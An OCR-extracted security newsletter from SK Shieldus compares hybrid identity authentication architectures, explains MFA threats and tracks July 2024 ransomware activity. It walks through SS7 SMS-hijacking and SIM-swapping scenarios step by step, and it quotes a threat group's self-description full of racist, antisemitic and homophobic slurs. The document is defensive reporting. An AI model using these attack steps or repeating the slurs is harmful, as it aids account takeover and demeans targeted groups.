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Headline

Strategies of hybrid identity authentication architecture
application for a secure cloud environment

Senior Consultant, EQST Pentest team, HEO Cheong-IL
Bl Outline

In general, identity authentication architecture for on—premise corporate networks is handled through
services like Active Directory. However, as enterprises move to a hybrid environment that combines
on—premises and cloud environments, identity management can become quite complex. In this
situation, the identity authentication management architecture must be safely and efficiently integrated

with the cloud system for interoperability.

In March 2024, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a guide for
the Secure Cloud Business Applications (SCuBA). This guide proposes four architectures for managing
identity authentication in hybrid environments: Federation, Pass—Through Authentication, Password

Synchronization, and Cloud Primary Authentication (Passwordless).

This Headline Report addresses how enterprises can apply an appropriate identity authentication
architecture to ensure interoperability between on—premise and cloud systems. It presents the pros
and cons of each architecture and considerations to help enterprises select the optimal identity

authentication solution.
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B Current status of cloud usage and credential damage at home and abroad

It has been 18 years since AWS cloud computing service was first provided in 2006, and numerous
companies at home and abroad are using cloud computing. The following figures show the global
cloud computing share as of the first quarter of 2024 and the domestic cloud computing share in
2023:

Aws I 1% Aws NG 0%
Microsoft Azure NN °5% Microsoft Azure | NI 24%
Google Cloud Platform I 11% Naver Cloud Platform [l 20.5%
Google Cloud Platform [ 19.9%

Alibaba Cloud Wl 4%
Salesforce I 3%
IBM Cloud W 2%

Oracle W 2%

kT [l 82%
oracle [l 8.2%
NHN Cloud [l 7%
Samsung Cloud Platform | 1.2%

Tencent Cloud W 2% IBM Cloud | 0.6%
Others NG 0% others [ 14%
* Source: Synergy Research Group * Source: Ministry of Science and ICT

Figure 1. Global cloud computing share in 2024 1Q Figure 2. Domestic cloud computing share in 2023

According to the 2023 On—Premise vs. Cloud Security Incident Statistics released this year by StationX,
a British information security consulting firm, security incidents occurred more in on—premise
environments than in cloud environments, except for some types of security incidents. Phishing ranked

the first in terms of incident type, at 74% and 58% on—premise and in the cloud, respectively.
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* Source: StationX

Figure 3. 2023 On—Premise vs. Cloud security incident statistics
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As cloud environments become more widespread, security vulnerabilities and hacking attacks
continue to occur. According to data compiled by Microsoft in April 2024, the attack path for 20%
of all attacks was weak password or exposure of credentials such as keys. An attack path is a path
that an attacker can use to access and leak important or sensitive information within the cloud. To

remove these attack paths, an “attack path analysis” must be performed in advance.

Attack path analysis is a breach prevention technique that analyzes the correlation between security
risks in the cloud and shows the expected attack path to identify how attackers can penetrate and
move in a multi—cloud environment. If an attack path analysis is not performed, attackers can use
vulnerable configurations or resources as another path to access other important or sensitive
information. Therefore, it is important for enterprises to identify and block potential security threats

in advance through an attack path analysis.

Home > Microsoft Defender for Cloud

© Microsoft Defender for Cloud | Attack path analysis

Search @ Leammore A7 Guides & Feedback
General
(5) < Risk level
© Ovenview 67 120 =1 .
@ Getting started Total attack paths. Affected resources Active recommendations. BCritical 14) B High (42) | Medium (10) W Low (1)

Recommendations

©  Attack path analysis Search Risk level == 4 selected X Risk Factors == 8 selected X ¥ Add filter

O security alerts

b trventory Risklevel  Title Entry point Target
& Cloud Security Explorer Critical Internet exposed and publicly accessible storage with sensitive data (Private preview)

@ workbooks Critical Internet exposed VM with high severity vulnerabilities allows lateral movement to Keys management service (Private pre...

& Community Critical Internet exposed and publicly accessible storage with sensitive data (Private preview)

& Diagnose and solve problems Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible =

Cloud Security Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible =

©  security posture Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible =

© Regulatory compliance Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible =

© Workload protections Critical Internet exposed Azure Blob Storage container with sensitive data is publicly accessible =

0 oo it (0 tical iotacnat it Slob st " dhs canciitun dlat blick ™ =

* Source: Microsoft

Figure 4. Example of attack path analysis

EQST insight | 3



Next are statistics related to credential damage. The following are statistics for 2024 from Verizon,

one of the US telecommunications companies.

Attack frequency 3,032/3,661 (82.8%)

Attacker ratio Outsider (100%)

Motive of attack Money (95%), Information (5%)

Leaked info Credential (50%), Personal information (41%), Internal information (20%), Others (14%)

Attack method Pretexting, phishing, blackmailing

* Source: Verizon

Table 1. Statistics on social engineering attacks

Attack frequency 881/1,997 (44.1%)

Attacker ratio Outsider (100%), Insider (1%), Both (1%)

Motive of attack Money (85%), Information (15%)

Leaked info Account information (71%), Personal information (58%), Others (29%), Internal

information (17%)

Attack method Credential stuffing, Brute-force, Exploiting vulnerabilities

* Source: Verizon

Table 2. Statistics on basic web application attacks

The pretexting presented in the table above may be a somewhat unfamiliar attack technique.
Pretexting is a social engineering technique that involves fabricating a story to trick the victim into
spending money. These include business email scams, account update scams, grandparent scams,

romance scams, cryptocurrency scams, and government agency scams.

Credential stuffing is a technique to take over accounts by substituting the leaked credentials
(authentication information such as passwords or keys including IDs) in multiple websites or the web.
According to F5, credential stuffing accounts for 20% of authentication traffic. Attackers are using

automated bots to brute force attacks and bypass security solutions, so caution is required.

The Verizon report recommends implementing multi—factor authentication (MFA) as a safeguard

against various attack techniques mentioned above.
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B Security threats of Multi—Factor Authentication (MFA)

SMS, ARS, email, OTP, etc. are the MFA we use in our daily lives. However, applying MFA does not
unconditionally guarantee security. According to the US CISA, there are four major threats to MFA

that currently exist.

1) Phishing

Phishing is a social engineering attack where the attacker uses email or malicious websites to obtain
information. For example, the attacker may send an email that induces the victim to visit a malicious
website pretending to be a legitimate login page of the website the victim is visiting. The victim visits

the malicious website and enters their ID, password, and two—factor authentication code (6 digits).

For a regular URL, you can prevent it in advance by visiting the official website and checking for
typos in advance. However, if it is a URL that has been shortened, it is difficult to check whether it
is a normal URL. In this case, you can prevent it in advance by checking whether the shortened URL

is a normal URL as shown below.

& T BB oucFre=URL Unshortener Tao

= | checkshorturboom

Enter Shart URL Expand

You made 2 requests out of 120 in the last 24 hours,

http:d goo gy DE|pwh
fiktp mabinog). nexon. comy page/eyenl 201 171 207 teaser/leaseraap
y=28ulm_source=twiller&utm_mediur=yideofuln L CRITIRHA) 'gi|=|'!'.||-"%.u T conieri=rmoprEnetormyod

* Source: CheckShortURL

Figure 5. Verifying URLs with URL shortening applied in CheckShortURL
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2) Push bombing or push fatigue

Push bombing is an attack that repeatedly sends push notifications until the victim clicks the “Approve”

button. If the victim accidentally clicks the button, he or she becomes a target of the attack.
First, the attacker successfully completes the first authentication with the stolen password, then sends
a push notification to receive the second authentication and take over the account. If the first

password is stolen, the user is advised to change the password immediately.

Second, the attacker attempts to reset the victim's account password through a push bomb attack

and hijacks the account. In this case, the victim is advised to “Reject” all attempts.

Notifications

Reset Password _
Use this iPhone to reset your Apple:

Reset Password
Use this iPhone to reset your Apple
sword.

* Source: Bitdefender

Figure 6. Example of push bombing
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3) Exploiting vulnerabilities of 3G (SS7 protocol) or LTE (Diameter protocol)

According to ACM Queue, attackers can steal the secondary authentication code in SMS by exploiting
vulnerabilities in 3G (SS7 protocol!), and LTE (Diameter protocol?) that are used in carrier
infrastructure. This is because Diameter is an improved protocol of SS7 and has the same

vulnerabilities as SS7.

Therefore, attackers can exploit the SS7/Diameter protocol vulnerability to transmit SMS messages
received by users abroad, which can lead to theft of the secondary authentication code in the SMS.

In order to fundamentally prevent this attack, 5G standalone mode must be introduced.

Non-Standalone mode can be used with LTE + 5G, but Standalone mode can only be used with 5G.
Using 5G Standalone mode can prevent the theft of the secondary authentication code in SMS due to

a vulnerability in the Diameter protocol of LTE.

! SS7 protocol: It is an open signal processing protocol for integrated management of call information for voice communication and

access information for data communication. This protocol provides call setup, billing, and call routing support functions.

% Diameter protocol: This is a protocol that supports authentication, authorization, and billing required to provide the roaming service to

mobile Internet and mobile IP subscribers. It supports inter—domain mobility and enhanced security required for roaming service.
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The figure below shows an SMS hijacking scenario to exploit vulnerabilities in the SS7 protocol.

Attacker

Victim

Fake MSC

* Z2]: FirstPoint

Figure 7. Scenario 1 — Preparation for SMS stealing attack

@ Register the victim's mobile phone number with a fake Mobile Switching Center (MSC) created by the

attacker.
@ Set the location of the victim’s mobile phone number in the Home Location Register (HLR).

® The HLR requests the true MSC to initialize the existing values.
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* Source: FirstPoint

Figure 8. Scenario 2 — SMS stealing attack

A financial institution attempts to send an SMS to the victim (e.g. secondary authentication code requested
by the victim).

The true Mobile Switching Center (MSC) transmits the SMS to the SMS center.

The SMS center requests victim's location from the Home Location Register (HLR).

The HLR responds with the fake MSC address registered by the attacker.

The SMS center sends SMS to the attacker, who is a fake MSC.
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4) SIM swapping

A SIM swapping attack is a type of social engineering technique in which an attacker tricks a mobile
carrier into transferring the victim's subscriber line information to the attacker's SIM card. The

attacker is then allowed to use the victim's subscriber line using this SIM card.

The following figure shows the SIM swapping attack scenario.

Attacker

=

Internet, Dark Web, Deep Web, TELCO
TELCO Employees, etc.

—@720—=((9)

Victim Line
Financial 9 SIM Card in
Company h Attacker’s

Possesion

* Source: SEON Technologies

Figure 9. Scenario — SIM swapping attack
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<Example - Collection of victim's personal information>
- Phishing on a mobile subscriber

. . . - Phishing on a mobile carrier employees

@ The attacker obtains the personal information of ) ) )
o o » - Bribe or threaten a mobile carrier employee
the victim who is identified as the target of attack. ) o
- Cyberattack on mobile carrier infrastructure

- Scammer infiltrates into a mobile carrier agent or branch.

- Utilizing the Internet, Deep Web, Dark Web, etc.

<Example - Social engineering technique for fraudulent
issuance of victim's SIM>

@ The attacker uses the obtained personal|- The attacker presents a fake ID to the agent.
information to pretend to be the victim and attempt |- The attacker successfully answers authentication-related
to contact the mobile carrier. questions over a customer center phone.
- The attacker hijacks victim's mobile carrier account to apply

for SIM provisioning service.

(® The mobile carrier issues the victim's subscriber line SIM card to the attacker.

@ The attacker can use the victim's information to hijack financial institution accounts by receiving SMS

authentication through the victim's subscriber line.

* Source: SEON Technologies
Table 3. SIM swapping attack scenario
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B App—based MFA security threats

If it is practically difficult or impossible to apply phishing—resistant MFA, it can be replaced with

app—based MFA. However, attention is required that app—based MFA is inherently vulnerable to

phishing attacks. The table below shows the types of app—based authentication.

Types of app-based

authentication

oTP

Description

An app-based authenticator verifies a user's identity by generating an

OTP code or sending a ‘push’ pop-up notification to the mobile app.

Vulnerable
or not
Vulnerable

(to phishing)

Mobile push notification
that verifies user phone

number

This technology verifies the user's identity by checking whether the
user phone number registered in advance for the service matches the
USIM phone number of the terminal where the request between the
start and end of mobile app push notification authentication is actually

made

Vulnerable

(to phishing)

Token-based OTP

To prove that the user possesses the OTP, a token-based authenticator
verifies the user's identity using the OTP code generated by the token

and entered by the user.

Vulnerable

(to phishing)

Mobile push notification
that does not verify user

phone number

This technology verifies the user's identity without checking whether
the user phone number registered in advance for the service matches
the USIM phone number of the terminal actually making the request
between the start and end of mobile app push notification

authentication.

Vulnerable
(to phishing
and push
bombing)

Table 4. Vulnerability of various type of app—based MFA

* Source: CISA
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B Necessity of using Phishing—resistant MFA

1) Overview

The US CISA recommends two types of MFA: Phishing—resistant MFA and app—based authentication.

First, Phishing—resistant MFA is considered the most secure of the existing MFA methods. We will
look into this further below.

SMS or App-Based Phishing-
Voice MFA MFA resistant MFA

B &£ FE §=

- Text Message (SMS) * Mobile Push =R

- FIDO
: Notification - Mobile Push - Public K
il . ile P ublic Key
Oice Message without Number Notification Infrastructure
Matching with Number (PK1)-Based
Matching

- Token-Based OTP

* Source: CISA
Figure 10. Comparison of different MFA security levels
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2) Phishing-resistant MFA — FIDO/WebAuthn® authentication

MFA is widely used to prevent phishing attacks. The FIDO Alliance originally developed the
WebAuthn API as part of the FIDO2 standard, but it has now been published as a W3C standard.
WebAuthn is supported by major web browsers, operating systems, and smartphones. WebAuthn

provides phishing—resistant authenticators that are working under the FIDO2 standard.

WebAuthn authenticators support the following items.
— Disconnect the physical token connected to the device via USB or NFC, etc.
- Can be embedded in laptops or mobile devices as a ‘platform’ authenticator.
RP App Server

App calls for
FIDO Authn

through browser*

o O

JS API*

FIDO Authentication -
9O—000

EE[EE

Option 2Z:

I | E Platform ‘ External Authenticator

Cllent to Authenticator Protocol*

Option 1z -
On-device Internal Authenticator D 0
[
VvV Y Ve e TETarE
SSososaaaes e /—\/,2.\ * FIDO Server
r—\r—u—\r—\/—u—\/—\/—\/—u—\/—\/—x ooo 0
—T—v—v—vv—v—v= E==ig
| — o Y = i——)

* FIDO2 Project *« Metadata

* Source: FIDO Alliance
Figure 11. Example of FIDO2 configuration

3 WebAuthn: An API that allows the server to register and authenticate users using public keys instead of passwords and SMS. This

supports Passwordless authentication login on various platforms and web browsers using Passkey utilizing WebAuthn.
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3) Phishing—resistant MFA — PKI-based MFA

Phishing—resistant MFA is not widely available, and requires integration with a company's PKI
certificates. Examples of authenticators that can be used for PKI-based MFA include smart cards, ID
cards with embedded IC chips, etc. PKI-based MFA provides strong security to large enterprises and

organizations as it involves a difficult method.

However, to successfully use PKI-based MFA, a very mature identity authentication management
culture is needed. In particular, this MFA is not widely supported in services and infrastructures where
SSO is not implemented. In most PKI-based MFA deployments, the user credentials are embedded in
a security chip on a smart card. When a user logs into a system using that card, the card must be

directly connected to the device, requiring a password or PIN.

It must be kept in mind that a system must be built to require login via a smart card or an ID card

with an embedded IC chip that makes it impossible to digitally steal PKI certificates.

Microsoft Entra ID
validates the user
certificate

Microsoft Entra 1D
checks if CBA 1s
enabled on the tenant

Microsoft
Entra ID

User redirected to
Microsoft Entra ID
for sign in

. . : Microsoft Entra ID
¢ . Microsaft & [ear . completes the
Us + selects % - Usi . 2Ap
JUser B I Entra ID o provides sign-in process
" witha & requests . second
certificate’ CI‘E(‘t +  factor fo r v
. cerfificate

User tries to i

access app
If successful,

user gets . . . enters
access to app & . + usemame

: . . MFA_ W
'IIIIIIIIIIIIIIIIIIIIIII-IIIIIIIIII.IIII-IIIIII.

] 2

User

apnnmnnmn?®

.IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII-’

* Source: Microsoft

Figure 12. Example of PKI-based MFA utilizing Entra ID
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B Introduction and comparison of hybrid identity authentication architectures

This section describes and compares four types of hybrid identity authentication architectures

(federation, pass—thru authentication, password synchronization, and cloud—basic authentication).

1) Federation

Federation is an architecture that links cloud identity authentication services with corporate on—
premise directory services, allowing a company to perform a user authentication process on—premise.
Since this architecture pre—authorizes cloud-related domains by policy, On—Premise identity
authentication can authorize identity authentication for cloud services. Therefore, once a user logs in,

he or she can access both On—Premise and cloud—based resources.

Federation is an appropriate architecture when a company wants to handle all authentication on—
premise or does not want authentication to be done externally, such as in the cloud. In this
architecture, all authentication transactions are handled on—premise, so each account needs only one
record. This architecture centrally manages all authentication attempts and executes logging. On the
other hand, non—federated identity authentication architectures require hosting logon data to

authenticate user access and store authentication logs in multiple locations.

While federated architecture offers security advantages by centrally handling all authentications,
enterprises must consider increased latency for remote users, potential service impact, and ongoing
costs of operating on—premise directory services. Enterprises need to maintain a high level of security
for sensitive assets such as directories in on—premise directory services, federation servers, etc., and

therefore may migrate from a federation architecture to a cloud—native authentication architecture

over time.
Cloud Access
Security Broker
User could be <t == mm mm e o o o e o o e e o = = L S —— P SaaS Public Cloud Legend
On-Premise or
external = = ¥ User Experience
User attempts to authenticate with modem authenticator
S [t weianm innn ol — Dsta Flow
- : € User Authorization
1 ; @) User Authentication
| User attempts to
| authenticate if not using e Identity Source

| modern authenticator
! (Limited) o o
Attribute Sync Back
m Cloud Identity Service Cloud

L Perimeter

Federation
Proxy

R Directory
Validation Query =
> 0 « e < @ On-Premise

Federation On-Premises Service
Server Directory Service Agent

* Source: CISA

Figure 13. Federation architecture
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2) Pass—thru authentication
Pass—thru is an authentication method that performs authentication in an on—premise directory

service and then authorizes the use of resources through a cloud identity authentication service.

Typically, enterprises build and integrate authentication agents or services on—premise to integrate
cloud identity authentication services with on—premise. This allows enterprises to maintain

authentication on—premise and enforce security policies.

Enterprises can choose the option that best meets the needs of Cloud Service Providers (CSP) and
enterprises. For example, a company may require compliance with security requirements that restrict
or prohibit direct software installation on its on—premise directory service (e.g., domain controllers,
LDAP). In this case, the dependency on the cloud service provider increases because of additional
services or offerings that can handle authentication requests and interfaces with the on—premise

directory services.

Separately, authentication is performed on—premise, but authorization is performed in the cloud.

Cloud Access

Security Broker N
User could ba e e e e | o e e o e e o P G335 Public Cloud Legend
On-Premise or external

= = P User Experience

[ ] - Data Flow
a ][]

—_—— @ User Authorization
1 o User Authentication
1 User attempts to
B o e iut_he_ntl_ca&e_ S — 0 e Identity Source
Cloud Identity Service
t Cloud

Pass user credential Validated authentication Perimeter

On-Premise

@®

Directory
Query
On-Premises Authentication
Directory Services Agent or Service

* Source: CISA
Figure14. Pass—thru architecture
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3) Password synchronization
Password synchronization architecture allows users to maintain only one account to access Cloud or

On—Premise resources.

This helps reduce the user's response time when a password is lost, because all user actions occur in

the same account and at a point closest to the user regardless of location within the network.

When synchronizing passwords, using hashing mechanisms and encryption is critical to preserve
confidentiality and integrity of the account credentials. If a user has an active cloud session, the session
will not be interrupted after a password update, but he/she will be required to complete authentication

with the new password the next time.

Cloud Access
S ity Brok
e Y. Caat Bublic Cloud Legend

e e e e

User could be

n-Premi r mnal s
On-Premise or external == == P User Experience

. s Data Flow
a (][]

_ @ User Authorization

* 0 User Authentication

L---_-_.@._-_-_-_ @ 0 e D identity Source

Cloud Identity Service
User sign-in = cloud

(Hashed) Password =
Synchronization Perimeter

Synchronize

Objects A -
e = On-Premise

On-Premises Synchronization
Directory Service Service

F 3

* Source: CISA

Figurel5. Password synchronization architecture
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4) Cloud-basic authentication (Passwordless)
Cloud-basic authentication architecture allows users to undergo authentication via cloud—based

identity authentication services in hybrid environments (on—premise + cloud).

Cloud-basic authentication architectures allow “users to authenticate themselves through a cloud—
based identity authentication service,” while cloud—native architectures allow only cloud applications

to access them.

Both the cloud-basic authentication architecture and the cloud—native architecture handle all aspects
of identity authentication without relying on on—premise directory services. However, unlike the
cloud—basic authentication architecture, which supports both cloud and on—premise environments,

the cloud—native architecture only supports cloud environments.

Enterprises have many options to consider when transitioning to cloud—based authentication
architecture. For example, various cloud service providers, continually expanding services and the
corporate requirements must be reflected. A typical cloud—basic authentication architecture leverages
modern authenticators, supports passwordless authentication mechanisms, and allows access to on—

premise applications.

The cloud—basic authentication architecture can be applied to most enterprises, unless there are legal
or compliance issues. Enterprises should leverage their existing on—premise resources and

infrastructure for the transition.

For example, enterprises can incrementally configure their cloud—basic authentication architecture to
utilize more systems, applications, processes, users, devices, and other resources. In this context,
enterprises that have previously adopted one of the existing identity authentication architectures can
ease the migration by using the Cloud—basic authentication architecture as a new primary or

secondary authentication factor.

However, adopting this architecture can require a significant amount of planning, resources, and
effort, as it is more difficult to implement most of the services an enterprise offers to interact seamlessly
with most cloud services while complying with [AM requirements than to implement embedding of
the enterprise’s cloud identity authentication service into some of the features. Migrating applications
including modern authentication protocol to this cloud architecture and updating existing services

(e.g. ticketing services, antivirus) can increase dependency on cloud identity authentication services.
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* Source: CISA
Figure 16. Cloud basic authentication architecture
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5) Comparison of four hybrid identity authentication architectures

The table below compares the four identity authentication architectures mentioned so far.

Auth

architecture

Federation

Pass-thru

Password

synchronization

Cloud -basic

authentication

On-Premise directory

considerations

service and SaaS public
cloud applications as
“cloud-only” accounts
with no trust for on-
premise federation.

This will restrict lateral
movement from the on-
premise environment
where the breach has
occurred to the cloud

- It is possible to enforce
MFA in the cloud identity
authentication service in
order to prevent attackers
from authenticating users
through the on-premise
directory service where
the breach occurred

Original
d gt't On-Premise directory On-Premise directory service and(or) cloud- Cloud-based identity
identi . . . ) L .
X y service service based identity authentication service
information N .
authentication service
For authentication, user o Depending on the
. For authentication, user .
credentials are passed . location of resource, user
K . credentials are passed . .
from the cloud identity . . credentials are Users are authenticated
o R from the cloud identity R . R .
Data flow authentication service or o . authenticated by a cloud with the cloud identity
. . authentication service to . . T L X
the federation service to . . identity authentication authentication service
X . the on-premise directory R .
the on-premise directory . service or the on-premise
. service . .
service directory service
- Supports legacy
authorization and .
o - Provides easy modern
authentication methods, o )
. . authentication function
and allows gradual - Provides easy - Provides easy
. . . . . - Supports all features of
transition from legacy authentication function authentication function .
. . . . o . . . cloud services
Benefits authenticators to modern | - SSO integration within a | - SSO integration within a .
. . X . X - Can be implemented
authenticators. hybrid environment (On- hybrid environment (On- . .
. . in both cloud or hybrid
- Supports passwordless Premise + Cloud) Premise + Cloud) .
o . environments (On-
authentication via smart .
. Premise + Cloud)
card or ID card with
embedded IC chip
- Although this approach
can support traditional
assword policies, the
- In the event of a breach p .p .
. . . intended implementation
of the on-premise - This method is . .
X . . of this approach is to
directory service, susceptible to brute-force o
. . - In the event of a breach store credentials in the
unauthorized entities can ) or password spray attacks
X of the on-premise . cloud and ensure that
gain access to the cloud . X because it uses the
; . L directory service, . users never set a
identity authentication . . resources and functions .
. unauthorized entities can . . password on their
service . of the cloud identity
. gain access to the cloud . : accounts
- It is recommended that ; . o authentication service for o
. identity authentication o - This is to store each
privileged accounts be R authentication , . X
) . . . service user's public key in the
Security kept in the cloud identity - If a weak hash

encryption algorithm is
used due to compatibility
issues, it will become
vulnerable to attacks. The
most secure hash
encryption algorithm
available to both the on-
premise and the cloud
must be applied.

cloud, and each user's
private key in a FIDO-
supported terminal, smart
card, or ID card with an
embedded IC chip

- Modern authenticators
for use with FIDO2 should
be carefully evaluated in
advance. Authenticators
should securely generate
credentials and generate
assertion signatures when
prompted

Table 5. Comparison of 4 identity authentication architectures

* Source: CISA
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B Recommendations for introduction

1. Recommendation to use SSO protocol that supports passwordless authentication

When selecting an SSO protocol, enterprises should consider SAML (Security Assertion Markup
Language), OAuth, OIDC (OpenID Connect), Kerberos, and smartcard/PKI, which support
passwordless authentication. SAML and OIDC are widely used, but smartcard/PKI is recommended

if strict security is required.

For smart card/PKI authentication, the secret key or X.509 certificate must be stored in a physical
device, such as a smart card or an ID card with an embedded IC chip that are used to authenticate
users. Smartcards provide mutual authentication between server and client certificates using mTLS.
Identity providers can cache the smartcard PIN once it has been verified, to authenticate offline devices,

and to use it for authentication across multiple applications.

2. Recommendation to use a password manager for legacy systems that do not support passwordless

authentication

Legacy systems that do not support Passwordless Authentication can prevent password-related

vulnerabilities by using a password manager.

When using a password manager, there is a risk of the basic credentials or credential storage leaking
due to unauthorized access. In addition, if the password manager relies on an external DB of the user's
terminal, problems may arise where users cannot access the service due to service availability issues

such as service interruptions by the supplier.

Credentials should be stored encrypted, and using a password manager that supports terminal or

cached credential storage will reduce the risk of single points of failure (SPOF) and improve security.

Types of password managers include cloud—based, on—premise—based, mobile terminal-based, and
web browser—based. Password manager supports autocomplete, dark web monitoring, device
synchronization, storage encryption, MFA, role—based authority, security policy enforcement,

encrypted password generator, SSO integration, Team Sharing function, and more.
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3. Recommendation to use context—based access control to enforce dynamic access policies

Context—based access control (CBAC) is an access control method that combines role—based access
control (RBAC) and attribute—based access control (ABAC), and dynamic access policies can be

applied using terminal-level signals as clues.

CBAC determines “access to resources with dynamic policies,” the fourth basic principle of the seven
zero trust principles of NIST SP 800-207 (Zero Trust Architecture). The policy includes the client
identifier, application, state of asset requested, behavior, and environment properties, and is
characterized by requiring dynamic resource access decisions. When granting access to resources

under dynamic policies, the principle of least privilege must be followed.

When introducing a CBAC solution, dynamic access policies can be established using learning—based
Al and machine learning. As you proceed with learning, you will be able to distinguish between
standard user behavior, users accessing critical assets or specific resources. Security response level is

adjusted to login attempts based on each behavior.

B Conclusion

In this article, we have learned about “Strategies for implementing hybrid identity authentication
architecture for a secure cloud environment.” Among the 4 identity authentication architectures
discussed above, we found that the most secure identity authentication architectures in practice are
the federation architecture with a modern authenticator that supports Passwordless and the Cloud-

basic authentication architecture.

When introducing passwordless authentication, support for platforms, operating systems, and web
browser versions are depending on the solution used. Therefore, you need to review these matters
closely before introducing the method. SSO, Phishing—resistant MFA, SSO, phishing—resistant MFA,
and zero trust are essential core concepts for implementing hybrid identity authentication architecture
for secure cloud applications. We expect that by applying the federation architecture or the cloud—
basic authentication architecture, enterprises will be able to operate on—premise services and cloud

services safely.

SK Shieldus provides A to Z cloud security services, from security consulting to building custom
solution. For more information on building a secure cloud environment, please visit SK Shieldus

official website or contact us.
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Keep up with Ransomware

FOG ransomware targeting overseas educational institutions

H Overview

A total of 415 ransomware damage cases were reported in July 2024, which increased by
approximately 20% from the previous month (346 cases). LockBit, which had been slow in activity
last month, posting 12 victims, increased its activity in July, posting 33 victims. They also published
the contact information of the “Boss”, who is believed to be the person in charge of contact, including

the messenger ID and forum account, on their dark web leak site.

A recently released Wiper malware disguises itself as an update or the patch file for a technical issue
in a specific security product, deleting users' data. On July 19, CrowdStrike, a cybersecurity
technology company in the United States, performed an update to the Windows system sensor
configuration in its next—generation endpoint security platform, Falcon, and it caused system crashes
and blue screens, paralyzing the company's operations. Hacktivist* group Handala distributed a PDF
file containing a description and instructions for the fake update, and included a download link for

Wiper, disguised as an update file, to trick customers into downloading Wiper.

Brain Cipher group, which attacked Indonesia's national temporary data center, released the
decryption key on their dark web leak site on July 3. After the successful attack on June 20, they
reportedly negotiated with the Indonesian government and demanded a ransom of USD 8 million.
According to the group, the motive for their attack was a financial, not political, penetration test, and
they released the decryption keys voluntarily, not because of pressure from law enforcement agencies.
They also mentioned that they will never release the decryption key without compensation in the
future, and left their cryptocurrency wallet address, saying they will accept donations as a token of

appreciation.

* Hacktivist: As a compound word of “hacker” and “activist,” it refers to a hacking group that operates for political or social purposes.
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The SEXi ransomware, which primarily targets VMware ESXi® servers, has been renamed to APT
INC and continues its attacks. They were found attacking VMware ESXi environments using the
leaked Babuk builder®, and Windows environments using the LockBit 3.0 builder. In addition, several
other groups are threatening the ESXi environment. Attackers were able to gain full administrator
privileges by exploiting an authentication bypass vulnerability (CVE-2024-37085) in ESXi 8.0 U3,
released on June 25. The ransomware groups known as Storm—0506, Storm—1175, Octo Tempest,

and Manatee Tempest exploited this vulnerability to distribute Akira and BlackBasta ransomware.

IntelBroker performing in the hacking forum BreachForums has posted three articles offering to sell
data from South Korean organizations. The names of the agencies were not specifically mentioned,
but were listed as “Korean Policy Force,” “Korean Government Agency,” and “Korean Critical
Government Agency”. IntelBroker said the data it was selling included access to the admin portal,
important documents, etc., but it declined to release the sample by reason that it would lead to the

release of immediate security patches.

Avast, a Czech cybersecurity software company, has released a decryption tool that exploits a key
reuse vulnerability in the DoNex ransomware. Avast began supporting victims privately in March,
and released a decryption tool in July as no further activity of DoNex ransomware was detected. The
DoNex Ransomware group has rebranded several times. It started out as Muse Ransomware in April
2022, used fake LockBit 3.0 in November 2022, and then renamed to DarkRace in May 2023. It was
rebranded as DoNex Ransomware in March 2024, but no further activity has been observed since

the five victim postings, and even the dark web leak site was deactivated in April.

5 ESXi: This UNIX~-based logical platform developed by VMware can run multiple operating systems simultaneously on a host

computer.

® Builder: A ransomware production tool that allows you to produce ransomware with desired features through environment settings
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B Ransomware News

infosec

} -> Malware distribution disguised as a CrowdStrike patch or update

Q System crashes and blue screens from a July 19 CrowdStrike update
Q Distributing malware disguised as an update or patch in documents

Q Hacktivist Handala distributed Wiper by including a download link in a PDF file

} -> BrainCipher released decryption keys on a dark web leak site

Q Decryption keys for the Indonesia national temporary data center attacked on June 20

Q Claimed the decryption keys were released voluntarily this time, not due to external pressure

] -> Posted three listings for Korean agencies data on the hacking forum BreachForums

Q IntelBroker, active on BreachForums, posted three listings for Korean agencies data
(_J The institutions are "Korean Policy Force", "Korean Government Agency", "Korean Critical Government Agency"

() No sample data was released separately, claiming it was blocked and is no longer accessible

] ¢ LockBit published their contact information on a dark web site

Q Released various messenger IDs and hacking forum profiled of the contact person ‘boss’
Q Requesting a single, concise message to convey the key information

() Published information: Tox ID, XMPP, Briar ID, Ramp forum profile, Telegram ID, and Signal ID

} ¢ Ransomware group exploiting VMware ESXi vulnerability(CVE-2024-37085)

Q Authentication bypass in ESXi 8.0 U3, revealed on June 25, allows full admin access to the virtual environment
Q Exploiting the vulnerability requires high privileges, but multiple groups have already done so

Q Storm-0506, Storm-1755, Octo Tempest and Manatee Tempest have been used to deploy Akira/BlackBasta
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} -> SEXi ransomware rebranded as APT INC

() SEXi ransomware, which appeared in February 2024, primarily targets ESXi envionments

() Since June, it has been rebranded as APT INCiin ransomnotes

(_ Uses Babuk builder for ESXi environments and LockBit 3.0 builder for Windows environments

} ® Hacker group SiegedSec disbanded

(] Active since April 2022, SiegedSec has targeted NATO and The Heritage Foundation

(). On July 11, announced on Telegram they are halting operations for mental heal and to avoid FBI

(] After halting operations, continued Q&A about the Heritage Foundation attack on Reddit

] -> Hunters group updated to version 5.0.0

Q Resolved decryption issues from previous versions: encryption and decryption processes are now stable

] -> LAPSUS$ group returns

() Retur on July 19, recruiting new members and polling for attack targets

} -> DoNex ransomware decryption tool released

(] Released by Czech cybersecurity software company Avast

() Exploit key reuse vulnerability: began offering support privately since March

() Decryption tool released as DoNex group activity has not been observed since April

Figure 1. Ransomware Trend
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B Ransomware Threats

infosec
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Figure 2. Ransomware Threats as of Jul. 2024

New threats

In July, several new ransomware groups emerged, and some groups resumed their activities. The
LAPSUS$ group, which announced its inactivity through the Telegram channel in June, has returned
after a month and is continuing its activities by recruiting new members and holding a vote on its

next attack target.

Who is Pryx

Pryx is a cool nigga who loves getting illegal access to big corporations, Pryx is definitely not a ransomware group.
Pryx is a cybercriminal or threat actor, whatever you want to call it. Pryx might soon get into hacktivism, bcuz why not
Pryx hates jews, pedos, gays, pajeets and niggers.

This is the new era of Pryx, Pryx is the best.

Don't you love this cute sp1d3r?

Figure 3. Introduction of Pryx group
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Pryx group, which emerged in July, has posted two victims. They stated on the dark web leak site
that they are not a ransomware group and could become hacktivists. They set up a page on the dark
web leak site for comments, and in addition to posting about data leaks, they also made politically—
motivated posts about the Arab Spring and the 2023 violent protests in France. This makes them
appear to be more of a hacktivist operation with social and political objectives than ransomware as

they have stated.

I
il W,
N

